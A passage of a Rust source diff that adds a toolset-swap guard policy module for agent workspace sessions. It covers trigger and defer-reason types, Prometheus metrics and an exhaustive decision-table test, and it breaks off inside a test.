tool_name: "before-restart".into(),
|
||||
},
|
||||
);
|
||||
}
|
||||
{
|
||||
let writers: DashMap<String, EventWriter> = DashMap::new();
|
||||
get_or_open_session_writer(true, &writers, home.path(), "sess-d").emit(
|
||||
Event::ToolStarted {
|
||||
tool_name: "after-restart".into(),
|
||||
},
|
||||
);
|
||||
}
|
||||
let path = home
|
||||
.path()
|
||||
.join("sessions")
|
||||
.join("sess-d")
|
||||
.join("events.jsonl");
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
let lines: Vec<&str> = text.trim().lines().collect();
|
||||
assert_eq!(
|
||||
lines.len(),
|
||||
2,
|
||||
"re-open after restart must append, preserving the earlier line"
|
||||
);
|
||||
let first: serde_json::Value = serde_json::from_str(lines[0]).unwrap();
|
||||
assert_eq!(first["tool_name"], "before-restart");
|
||||
let second: serde_json::Value = serde_json::from_str(lines[1]).unwrap();
|
||||
assert_eq!(second["tool_name"], "after-restart");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,779 @@
|
||||
//! Toolset-swap guard policy: every trigger evaluates the one decision table,
|
||||
//! [`SwapPolicy::evaluate`] over a [`SessionSnapshot`]. The exhaustive match
|
||||
//! is the spec; the matrix test's `expected_decision` mirrors it row by row.
|
||||
|
||||
use prometheus::{IntCounterVec, register_int_counter_vec};
|
||||
|
||||
use crate::activity::ActivityTracker;
|
||||
use crate::session::WorkspaceSession;
|
||||
|
||||
/// Toolset installs/swaps by trigger (`create`/`fork`/`owner_rebind`/
|
||||
/// `update_tool_config`/`mcp_snapshot`/`hub_tools`/`other`) plus the guard
|
||||
/// state at swap time; record via [`record_toolset_swap`] only.
|
||||
pub(crate) static WORKSPACE_TOOLSET_SWAP_TOTAL: std::sync::LazyLock<IntCounterVec> =
|
||||
std::sync::LazyLock::new(|| {
|
||||
register_int_counter_vec!(
|
||||
"grok_workspace_toolset_swap_total",
|
||||
"Session toolset installs and swaps, by trigger and guard state",
|
||||
&["trigger", "turn_active", "in_flight"]
|
||||
)
|
||||
.unwrap()
|
||||
});
|
||||
|
||||
/// Toolset swaps rejected by the turn-safety guards, by reason
|
||||
/// (`turn_active` = RPC entry check, `turn_active_late` = post-resolve
|
||||
/// re-check, `in_flight` = owner-rebind keep-old) and trigger.
|
||||
pub(crate) static WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL: std::sync::LazyLock<IntCounterVec> =
|
||||
std::sync::LazyLock::new(|| {
|
||||
register_int_counter_vec!(
|
||||
"grok_workspace_toolset_swap_rejected_total",
|
||||
"Session toolset swaps rejected by the turn-safety guards, by reason and trigger",
|
||||
&["reason", "trigger"]
|
||||
)
|
||||
.unwrap()
|
||||
});
|
||||
|
||||
/// Rebinds (`session.bind` against an existing session) that carried a changed
|
||||
/// explicit toolset and re-resolved it, by result. A steady `ok` stream is the
|
||||
/// resume path correcting sessions that were created by metadata-less binds.
|
||||
static WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL: std::sync::LazyLock<IntCounterVec> =
|
||||
std::sync::LazyLock::new(|| {
|
||||
register_int_counter_vec!(
|
||||
"grok_workspace_bind_rebind_reresolve_total",
|
||||
"session.bind rebinds that re-resolved a changed explicit toolset, by result",
|
||||
&["result"]
|
||||
)
|
||||
.unwrap()
|
||||
});
|
||||
|
||||
/// Zero-init this module's metric families. See [`crate::init_metrics`].
|
||||
pub(crate) fn init_metrics() {
|
||||
const TRIGGERS: &[SwapTrigger] = &[
|
||||
SwapTrigger::OwnerRebind,
|
||||
SwapTrigger::UpdateRpc,
|
||||
SwapTrigger::McpSnapshot,
|
||||
SwapTrigger::HubTools,
|
||||
SwapTrigger::Other,
|
||||
];
|
||||
for trigger in TRIGGERS {
|
||||
for turn_active in ["true", "false"] {
|
||||
for in_flight in ["true", "false"] {
|
||||
WORKSPACE_TOOLSET_SWAP_TOTAL
|
||||
.with_label_values(&[trigger.metric_label(), turn_active, in_flight])
|
||||
.inc_by(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Only these reason/trigger pairs are reachable: in-flight guards owner
|
||||
// rebinds; the two turn-active guards fire on the update RPC.
|
||||
for (reason, trigger) in [
|
||||
(DeferReason::InFlightCalls, SwapTrigger::OwnerRebind),
|
||||
(DeferReason::TurnActive, SwapTrigger::UpdateRpc),
|
||||
(DeferReason::TurnActiveLate, SwapTrigger::UpdateRpc),
|
||||
] {
|
||||
WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL
|
||||
.with_label_values(&[reason.metric_reason(), trigger.metric_label()])
|
||||
.inc_by(0);
|
||||
}
|
||||
for result in ["skipped_externally_owned", "ok", "error"] {
|
||||
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
|
||||
.with_label_values(&[result])
|
||||
.inc_by(0);
|
||||
}
|
||||
}
|
||||
|
||||
/// Record a toolset install/swap on [`WORKSPACE_TOOLSET_SWAP_TOTAL`],
|
||||
/// stamping the session's turn/in-flight state at swap time.
|
||||
pub(crate) fn record_toolset_swap(tracker: &ActivityTracker, trigger: &str, session_id: &str) {
|
||||
let turn_active = bool_label(tracker.is_turn_active(session_id));
|
||||
let in_flight = bool_label(tracker.session_active_tool_calls(session_id) > 0);
|
||||
WORKSPACE_TOOLSET_SWAP_TOTAL
|
||||
.with_label_values(&[trigger, turn_active, in_flight])
|
||||
.inc();
|
||||
}
|
||||
|
||||
fn bool_label(v: bool) -> &'static str {
|
||||
if v { "true" } else { "false" }
|
||||
}
|
||||
|
||||
/// What initiated a toolset swap attempt. The trigger fixes both the metric
|
||||
/// `trigger` label and the guard set the policy applies (see the module table).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum SwapTrigger {
|
||||
/// Hub `session.bind` against an existing session that carried a changed
|
||||
/// explicit toolset (`WorkspaceHandle::rebind_existing_hub_session`).
|
||||
OwnerRebind,
|
||||
/// The `workspace.update_tool_config` RPC.
|
||||
UpdateRpc,
|
||||
/// `re_resolve_all_sessions` after an MCP snapshot change.
|
||||
McpSnapshot,
|
||||
/// `re_resolve_all_sessions` after a remote tools change/notification.
|
||||
HubTools,
|
||||
/// `re_resolve_all_sessions` from an unrecognized source (test callers
|
||||
/// only today). Snapshot-rebuild policy, `other` metric label.
|
||||
Other,
|
||||
}
|
||||
|
||||
impl SwapTrigger {
|
||||
pub(crate) fn from_rebuild_source(source: &str) -> Self {
|
||||
match source {
|
||||
"mcp_snapshot_changed" => Self::McpSnapshot,
|
||||
"hub_tools_changed" | "hub_notification" => Self::HubTools,
|
||||
_ => Self::Other,
|
||||
}
|
||||
}
|
||||
|
||||
/// The `trigger` label on [`WORKSPACE_TOOLSET_SWAP_TOTAL`] and
|
||||
/// [`WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL`]. Dashboards depend on these
|
||||
/// exact values.
|
||||
pub(crate) fn metric_label(self) -> &'static str {
|
||||
match self {
|
||||
Self::OwnerRebind => "owner_rebind",
|
||||
Self::UpdateRpc => "update_tool_config",
|
||||
Self::McpSnapshot => "mcp_snapshot",
|
||||
Self::HubTools => "hub_tools",
|
||||
Self::Other => "other",
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether the apply path re-evaluates post-resolve, pre-install. Only the
|
||||
/// update RPC: a turn can start mid-resolve (turn hooks are lock-free);
|
||||
/// owner rebinds must answer inside the server's ack budget, so they don't.
|
||||
pub(crate) fn rechecks_after_resolve(self) -> bool {
|
||||
self == Self::UpdateRpc
|
||||
}
|
||||
}
|
||||
|
||||
/// Why a swap was skipped (nothing resolved, toolset and fingerprint kept).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum SkipReason {
|
||||
/// The toolset `Terminal` is not the session-owned backend (local/shell
|
||||
/// bind): a rebuild would detach tools from the shell's live task table.
|
||||
ExternallyOwned,
|
||||
}
|
||||
|
||||
/// Why a swap was deferred (existing toolset kept; a later attempt applies).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum DeferReason {
|
||||
/// Owner rebind arrived while the session had tool calls in flight, with
|
||||
/// either an `explicit → different-explicit` change or a stale-heal
|
||||
/// identical re-apply.
|
||||
InFlightCalls,
|
||||
/// The session's turn is active and the config differs (update-RPC entry
|
||||
/// check); retryable at the turn boundary.
|
||||
TurnActive,
|
||||
/// [`Self::TurnActive`] detected by the post-resolve re-check: the turn
|
||||
/// started during the re-resolve and the resolved toolset was discarded.
|
||||
TurnActiveLate,
|
||||
}
|
||||
|
||||
impl DeferReason {
|
||||
/// The `reason` label on [`WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL`].
|
||||
pub(crate) fn metric_reason(self) -> &'static str {
|
||||
match self {
|
||||
Self::InFlightCalls => "in_flight",
|
||||
Self::TurnActive => "turn_active",
|
||||
Self::TurnActiveLate => "turn_active_late",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a trigger should do with its candidate config, per the module table.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
#[must_use = "a non-Apply decision means the config must NOT be installed"]
|
||||
pub(crate) enum SwapDecision {
|
||||
/// Resolve and install the candidate config.
|
||||
Apply,
|
||||
/// Identical fingerprint: the live toolset already reflects the candidate.
|
||||
Reuse,
|
||||
/// Deliberate skip: leave toolset AND fingerprint untouched.
|
||||
Skip(SkipReason),
|
||||
/// Keep the existing toolset for now; a later attempt applies.
|
||||
Defer(DeferReason),
|
||||
}
|
||||
|
||||
/// How the candidate config's fingerprint relates to the session's stored one.
|
||||
/// Produced under a single lock acquisition (see [`classify`]).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum BindFingerprintTransition {
|
||||
/// Candidate fingerprint equals the stored one.
|
||||
Unchanged,
|
||||
/// Stored fingerprint is `None` (default resolution) and the candidate
|
||||
/// differs.
|
||||
FromDefault,
|
||||
/// Stored fingerprint is explicit and the candidate differs.
|
||||
FromExplicit,
|
||||
}
|
||||
|
||||
/// Classify `candidate` against the stored bind fingerprint in one poison-safe
|
||||
/// lock acquisition, so the decision cannot straddle a concurrent
|
||||
/// fingerprint write (`set_if_unset` runs outside `update_lock`).
|
||||
fn classify(
|
||||
stored: &std::sync::Mutex<Option<serde_json::Value>>,
|
||||
candidate: Option<&serde_json::Value>,
|
||||
) -> BindFingerprintTransition {
|
||||
let guard = stored.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if guard.as_ref() == candidate {
|
||||
BindFingerprintTransition::Unchanged
|
||||
} else if guard.is_some() {
|
||||
BindFingerprintTransition::FromExplicit
|
||||
} else {
|
||||
BindFingerprintTransition::FromDefault
|
||||
}
|
||||
}
|
||||
|
||||
/// One coherent read (under `update_lock`) of the session state the policy
|
||||
/// keys on. Turn/in-flight reads are tracker-side lock-free, so a decision
|
||||
/// can go stale during a long resolve — see `rechecks_after_resolve`.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub(crate) struct SessionSnapshot {
|
||||
/// `None` = no candidate config: an in-place rebuild of the session's
|
||||
/// current baseline (snapshot-driven triggers), never Reuse-exempt.
|
||||
transition: Option<BindFingerprintTransition>,
|
||||
turn_active: bool,
|
||||
in_flight_calls: u32,
|
||||
toolset_terminal_session_owned: bool,
|
||||
/// The last snapshot-driven rebuild failed and kept a stale toolset
|
||||
/// ([`WorkspaceSession::stale_resolve`]): an identical fingerprint does
|
||||
/// not prove the live toolset is current, only that the *config* is.
|
||||
stale_resolve: bool,
|
||||
}
|
||||
|
||||
impl SessionSnapshot {
|
||||
/// Capture against a candidate bind-config fingerprint (`None` = default
|
||||
/// resolution) — the owner-rebind and update-RPC triggers.
|
||||
pub(crate) async fn capture(
|
||||
session: &WorkspaceSession,
|
||||
tracker: &ActivityTracker,
|
||||
candidate_fingerprint: Option<&serde_json::Value>,
|
||||
) -> Self {
|
||||
let transition = classify(&session.bind_tool_config_fingerprint, candidate_fingerprint);
|
||||
Self::with_transition(session, tracker, Some(transition)).await
|
||||
}
|
||||
|
||||
/// Capture for an in-place rebuild of the session's current baseline (the
|
||||
/// snapshot-driven triggers): no candidate config, so no fingerprint
|
||||
/// transition to exempt on.
|
||||
pub(crate) async fn capture_for_rebuild(
|
||||
session: &WorkspaceSession,
|
||||
tracker: &ActivityTracker,
|
||||
) -> Self {
|
||||
Self::with_transition(session, tracker, None).await
|
||||
}
|
||||
|
||||
async fn with_transition(
|
||||
session: &WorkspaceSession,
|
||||
tracker: &ActivityTracker,
|
||||
transition: Option<BindFingerprintTransition>,
|
||||
) -> Self {
|
||||
let session_id = session.session_id();
|
||||
Self {
|
||||
transition,
|
||||
turn_active: tracker.is_turn_active(session_id),
|
||||
in_flight_calls: tracker.session_active_tool_calls(session_id),
|
||||
toolset_terminal_session_owned: session.toolset_terminal_is_session_owned().await,
|
||||
stale_resolve: session.stale_resolve(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Tool calls in flight at capture time.
|
||||
pub(crate) fn in_flight_calls(&self) -> u32 {
|
||||
self.in_flight_calls
|
||||
}
|
||||
}
|
||||
|
||||
/// The toolset-swap guard policy. Stateless: the whole table lives in
|
||||
/// [`Self::evaluate`].
|
||||
pub(crate) struct SwapPolicy;
|
||||
|
||||
impl SwapPolicy {
|
||||
/// Decide what `trigger` should do with its candidate, per the module
|
||||
/// table. Pure function of the snapshot — callers act on the decision
|
||||
/// under the same `update_lock` hold the snapshot was captured under.
|
||||
pub(crate) fn evaluate(snap: &SessionSnapshot, trigger: SwapTrigger) -> SwapDecision {
|
||||
use BindFingerprintTransition::{FromExplicit, Unchanged};
|
||||
match (trigger, snap.transition) {
|
||||
(SwapTrigger::UpdateRpc | SwapTrigger::OwnerRebind, Some(Unchanged))
|
||||
if !snap.stale_resolve =>
|
||||
{
|
||||
SwapDecision::Reuse
|
||||
}
|
||||
(
|
||||
SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other,
|
||||
Some(Unchanged),
|
||||
) => SwapDecision::Reuse,
|
||||
|
||||
(SwapTrigger::OwnerRebind, Some(FromExplicit | Unchanged))
|
||||
if snap.in_flight_calls > 0 =>
|
||||
{
|
||||
SwapDecision::Defer(DeferReason::InFlightCalls)
|
||||
}
|
||||
(SwapTrigger::OwnerRebind, _) if !snap.toolset_terminal_session_owned => {
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
}
|
||||
(SwapTrigger::OwnerRebind, _) => SwapDecision::Apply,
|
||||
|
||||
(SwapTrigger::UpdateRpc, _) if snap.turn_active => {
|
||||
SwapDecision::Defer(DeferReason::TurnActive)
|
||||
}
|
||||
(SwapTrigger::UpdateRpc, _) if !snap.toolset_terminal_session_owned => {
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
}
|
||||
(SwapTrigger::UpdateRpc, _) => SwapDecision::Apply,
|
||||
|
||||
(SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other, _)
|
||||
if !snap.toolset_terminal_session_owned =>
|
||||
{
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
}
|
||||
(SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other, _) => {
|
||||
SwapDecision::Apply
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What acting on a [`SwapDecision`] ultimately did — the key of
|
||||
/// [`record_swap_decision`]. No `Reused` action: a reuse changes nothing
|
||||
/// and no metric family counts it.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum SwapAction {
|
||||
/// [`SwapDecision::Skip`] honored.
|
||||
Skipped(SkipReason),
|
||||
/// [`SwapDecision::Defer`] honored (existing toolset kept).
|
||||
Deferred(DeferReason),
|
||||
/// [`SwapDecision::Apply`] succeeded: toolset resolved and installed.
|
||||
Applied,
|
||||
/// [`SwapDecision::Apply`] failed: the re-resolve errored, existing kept.
|
||||
ApplyFailed,
|
||||
}
|
||||
|
||||
/// The single chokepoint all three swap metric families emit from (swap
|
||||
/// total on `Applied`, rejected total on `Deferred`, rebind-reresolve on
|
||||
/// owner-rebind results), so label values cannot drift per call site.
|
||||
pub(crate) fn record_swap_decision(
|
||||
tracker: &ActivityTracker,
|
||||
trigger: SwapTrigger,
|
||||
session_id: &str,
|
||||
action: SwapAction,
|
||||
) {
|
||||
match action {
|
||||
SwapAction::Deferred(reason) => {
|
||||
WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL
|
||||
.with_label_values(&[reason.metric_reason(), trigger.metric_label()])
|
||||
.inc();
|
||||
}
|
||||
SwapAction::Skipped(SkipReason::ExternallyOwned) => {
|
||||
if trigger == SwapTrigger::OwnerRebind {
|
||||
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
|
||||
.with_label_values(&["skipped_externally_owned"])
|
||||
.inc();
|
||||
}
|
||||
}
|
||||
SwapAction::Applied => {
|
||||
record_toolset_swap(tracker, trigger.metric_label(), session_id);
|
||||
if trigger == SwapTrigger::OwnerRebind {
|
||||
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
|
||||
.with_label_values(&["ok"])
|
||||
.inc();
|
||||
}
|
||||
}
|
||||
SwapAction::ApplyFailed => {
|
||||
if trigger == SwapTrigger::OwnerRebind {
|
||||
WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL
|
||||
.with_label_values(&["error"])
|
||||
.inc();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn snap(
|
||||
transition: Option<BindFingerprintTransition>,
|
||||
turn_active: bool,
|
||||
in_flight_calls: u32,
|
||||
owned: bool,
|
||||
stale_resolve: bool,
|
||||
) -> SessionSnapshot {
|
||||
SessionSnapshot {
|
||||
transition,
|
||||
turn_active,
|
||||
in_flight_calls,
|
||||
toolset_terminal_session_owned: owned,
|
||||
stale_resolve,
|
||||
}
|
||||
}
|
||||
|
||||
const ALL_TRIGGERS: [SwapTrigger; 5] = [
|
||||
SwapTrigger::OwnerRebind,
|
||||
SwapTrigger::UpdateRpc,
|
||||
SwapTrigger::McpSnapshot,
|
||||
SwapTrigger::HubTools,
|
||||
SwapTrigger::Other,
|
||||
];
|
||||
|
||||
const ALL_TRANSITIONS: [Option<BindFingerprintTransition>; 4] = [
|
||||
Some(BindFingerprintTransition::Unchanged),
|
||||
Some(BindFingerprintTransition::FromDefault),
|
||||
Some(BindFingerprintTransition::FromExplicit),
|
||||
None,
|
||||
];
|
||||
|
||||
/// Spec mirror of the module decision table, maintained independently of
|
||||
/// [`SwapPolicy::evaluate`].
|
||||
fn expected_decision(
|
||||
trigger: SwapTrigger,
|
||||
transition: Option<BindFingerprintTransition>,
|
||||
turn_active: bool,
|
||||
in_flight_calls: u32,
|
||||
owned: bool,
|
||||
stale_resolve: bool,
|
||||
) -> SwapDecision {
|
||||
if transition == Some(BindFingerprintTransition::Unchanged)
|
||||
&& !(matches!(trigger, SwapTrigger::UpdateRpc | SwapTrigger::OwnerRebind)
|
||||
&& stale_resolve)
|
||||
{
|
||||
return SwapDecision::Reuse;
|
||||
}
|
||||
match trigger {
|
||||
SwapTrigger::OwnerRebind => {
|
||||
if matches!(
|
||||
transition,
|
||||
Some(
|
||||
BindFingerprintTransition::FromExplicit
|
||||
| BindFingerprintTransition::Unchanged
|
||||
)
|
||||
) && in_flight_calls > 0
|
||||
{
|
||||
SwapDecision::Defer(DeferReason::InFlightCalls)
|
||||
} else if !owned {
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
} else {
|
||||
SwapDecision::Apply
|
||||
}
|
||||
}
|
||||
SwapTrigger::UpdateRpc => {
|
||||
if turn_active {
|
||||
SwapDecision::Defer(DeferReason::TurnActive)
|
||||
} else if !owned {
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
} else {
|
||||
SwapDecision::Apply
|
||||
}
|
||||
}
|
||||
SwapTrigger::McpSnapshot | SwapTrigger::HubTools | SwapTrigger::Other => {
|
||||
if !owned {
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned)
|
||||
} else {
|
||||
SwapDecision::Apply
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn evaluate_matches_decision_table_over_full_matrix() {
|
||||
for trigger in ALL_TRIGGERS {
|
||||
for transition in ALL_TRANSITIONS {
|
||||
for turn_active in [false, true] {
|
||||
for in_flight_calls in [0u32, 2] {
|
||||
for owned in [true, false] {
|
||||
for stale_resolve in [false, true] {
|
||||
let got = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
transition,
|
||||
turn_active,
|
||||
in_flight_calls,
|
||||
owned,
|
||||
stale_resolve,
|
||||
),
|
||||
trigger,
|
||||
);
|
||||
let expected = expected_decision(
|
||||
trigger,
|
||||
transition,
|
||||
turn_active,
|
||||
in_flight_calls,
|
||||
owned,
|
||||
stale_resolve,
|
||||
);
|
||||
assert_eq!(
|
||||
got, expected,
|
||||
"trigger={trigger:?} transition={transition:?} \
|
||||
turn_active={turn_active} in_flight={in_flight_calls} \
|
||||
owned={owned} stale_resolve={stale_resolve}"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_fingerprint_reuses_regardless_of_gates() {
|
||||
for trigger in ALL_TRIGGERS {
|
||||
let decision = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
Some(BindFingerprintTransition::Unchanged),
|
||||
true,
|
||||
3,
|
||||
false,
|
||||
false,
|
||||
),
|
||||
trigger,
|
||||
);
|
||||
assert_eq!(decision, SwapDecision::Reuse, "trigger={trigger:?}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn update_rpc_identical_reapply_recovers_after_failed_rebuild() {
|
||||
let identical = Some(BindFingerprintTransition::Unchanged);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 0, true, true),
|
||||
SwapTrigger::UpdateRpc
|
||||
),
|
||||
SwapDecision::Apply,
|
||||
"idle + session-owned: the identical re-apply repairs the stale toolset"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, true, 0, true, true),
|
||||
SwapTrigger::UpdateRpc
|
||||
),
|
||||
SwapDecision::Defer(DeferReason::TurnActive),
|
||||
"the recovery apply is turn-gated like any mutation"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 0, false, true),
|
||||
SwapTrigger::UpdateRpc
|
||||
),
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned),
|
||||
"an externally-owned toolset cannot be rebuilt, stale or not"
|
||||
);
|
||||
for trigger in [
|
||||
SwapTrigger::McpSnapshot,
|
||||
SwapTrigger::HubTools,
|
||||
SwapTrigger::Other,
|
||||
] {
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(&snap(identical, false, 0, true, true), trigger),
|
||||
SwapDecision::Reuse,
|
||||
"trigger={trigger:?}: snapshot triggers carry no recovery lever"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn owner_rebind_identical_reapply_recovers_after_failed_rebuild() {
|
||||
let identical = Some(BindFingerprintTransition::Unchanged);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 0, true, true),
|
||||
SwapTrigger::OwnerRebind
|
||||
),
|
||||
SwapDecision::Apply,
|
||||
"a reconnect's identical rebind heals the stale toolset"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 2, true, true),
|
||||
SwapTrigger::OwnerRebind
|
||||
),
|
||||
SwapDecision::Defer(DeferReason::InFlightCalls),
|
||||
"the heal defers while tool calls are in flight"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 0, false, true),
|
||||
SwapTrigger::OwnerRebind
|
||||
),
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned),
|
||||
"an externally-owned toolset cannot be rebuilt, stale or not"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(
|
||||
&snap(identical, false, 0, true, false),
|
||||
SwapTrigger::OwnerRebind
|
||||
),
|
||||
SwapDecision::Reuse,
|
||||
"without the stale marker the identical rebind stays a no-op reuse"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn owner_rebind_from_default_applies_mid_turn_with_calls_in_flight() {
|
||||
let decision = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
Some(BindFingerprintTransition::FromDefault),
|
||||
true,
|
||||
2,
|
||||
true,
|
||||
false,
|
||||
),
|
||||
SwapTrigger::OwnerRebind,
|
||||
);
|
||||
assert_eq!(decision, SwapDecision::Apply);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn owner_rebind_in_flight_defer_wins_over_external_ownership() {
|
||||
let decision = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
Some(BindFingerprintTransition::FromExplicit),
|
||||
false,
|
||||
1,
|
||||
false,
|
||||
false,
|
||||
),
|
||||
SwapTrigger::OwnerRebind,
|
||||
);
|
||||
assert_eq!(decision, SwapDecision::Defer(DeferReason::InFlightCalls));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn update_rpc_turn_gate_wins_over_external_ownership() {
|
||||
let decision = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
Some(BindFingerprintTransition::FromDefault),
|
||||
true,
|
||||
0,
|
||||
false,
|
||||
false,
|
||||
),
|
||||
SwapTrigger::UpdateRpc,
|
||||
);
|
||||
assert_eq!(decision, SwapDecision::Defer(DeferReason::TurnActive));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn owner_rebind_ignores_turn_active() {
|
||||
let decision = SwapPolicy::evaluate(
|
||||
&snap(
|
||||
Some(BindFingerprintTransition::FromExplicit),
|
||||
true,
|
||||
0,
|
||||
true,
|
||||
false,
|
||||
),
|
||||
SwapTrigger::OwnerRebind,
|
||||
);
|
||||
assert_eq!(decision, SwapDecision::Apply);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn snapshot_rebuilds_ignore_turn_and_in_flight_gates() {
|
||||
for trigger in [
|
||||
SwapTrigger::McpSnapshot,
|
||||
SwapTrigger::HubTools,
|
||||
SwapTrigger::Other,
|
||||
] {
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(&snap(None, true, 4, true, false), trigger),
|
||||
SwapDecision::Apply,
|
||||
"trigger={trigger:?}"
|
||||
);
|
||||
assert_eq!(
|
||||
SwapPolicy::evaluate(&snap(None, true, 4, false, false), trigger),
|
||||
SwapDecision::Skip(SkipReason::ExternallyOwned),
|
||||
"trigger={trigger:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn metric_labels_are_locked() {
|
||||
assert_eq!(SwapTrigger::OwnerRebind.metric_label(), "owner_rebind");
|
||||
assert_eq!(SwapTrigger::UpdateRpc.metric_label(), "update_tool_config");
|
||||
assert_eq!(SwapTrigger::McpSnapshot.metric_label(), "mcp_snapshot");
|
||||
assert_eq!(SwapTrigger::HubTools.metric_label(), "hub_tools");
|
||||
assert_eq!(SwapTrigger::Other.metric_label(), "other");
|
||||
assert_eq!(DeferReason::InFlightCalls.metric_reason(), "in_flight");
|
||||
assert_eq!(DeferReason::TurnActive.metric_reason(), "turn_active");
|
||||
assert_eq!(
|
||||
DeferReason::TurnActiveLate.metric_reason(),
|
||||
"turn_active_late"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_update_rpc_rechecks_after_resolve() {
|
||||
for trigger in ALL_TRIGGERS {
|
||||
assert_eq!(
|
||||
trigger.rechecks_after_resolve(),
|
||||
trigger == SwapTrigger::UpdateRpc,
|
||||
"trigger={trigger:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rebuild_source_mapping_matches_legacy_labels() {
|
||||
assert_eq!(
|
||||
SwapTrigger::from_rebuild_source("mcp_snapshot_changed"),
|
||||
SwapTrigger::McpSnapshot
|
||||
);
|
||||
assert_eq!(
|
||||
SwapTrigger::from_rebuild_source("hub_tools_changed"),
|
||||
SwapTrigger::HubTools
|
||||
);
|
||||
assert_eq!(
|
||||
SwapTrigger::from_rebuild_source("hub_notification"),
|
||||
SwapTrigger::HubTools
|
||||
);
|
||||
assert_eq!(
|
||||
SwapTrigger::from_rebuild_source("test_preserves_feed"),
|
||||
SwapTrigger::Other
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn classify_is_poison_safe() {
|
||||
let stored: std::sync::Arc<std::sync::Mutex<Option<serde_json::Value>>> =
|
||||
std::sync::Arc::new(std::sync::Mutex::new(Some(serde_json::json!({"a": 1}))));
|
||||
let poisoner = stored.clone();
|
||||
let _ = std::thread::spawn(move || {
|
||||
let _guard = poisoner.lock().unwrap();
|
||||
panic!("poison the fingerprint lock");
|
||||
})
|
||||
.join();
|
||||
assert!(stored.is_poisoned(), "precondition: the lock is poisoned");
|
||||
|
||||
let same = serde_json::json!({"a": 1});
|
||||
let other = serde_json::json!({"b": 2});
|
||||
assert_eq!(
|
||||
classify(&stored, Some(&same)),
|
||||
BindFingerprintTransition::Unchanged
|
||||
);
|
||||
assert_eq!(
|
||||
classify(&stored, Some(&other)),
|
||||
BindFingerprintTransition::FromExplicit
|
||||
);
|
||||
assert_eq!(
|
||||
classify(&stored, None),
|
||||
BindFingerprintTransition::FromExplicit
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn classify_from_default_transitions() {
|
||||
let stored = std::sync::Mutex::new(None);
|
||||
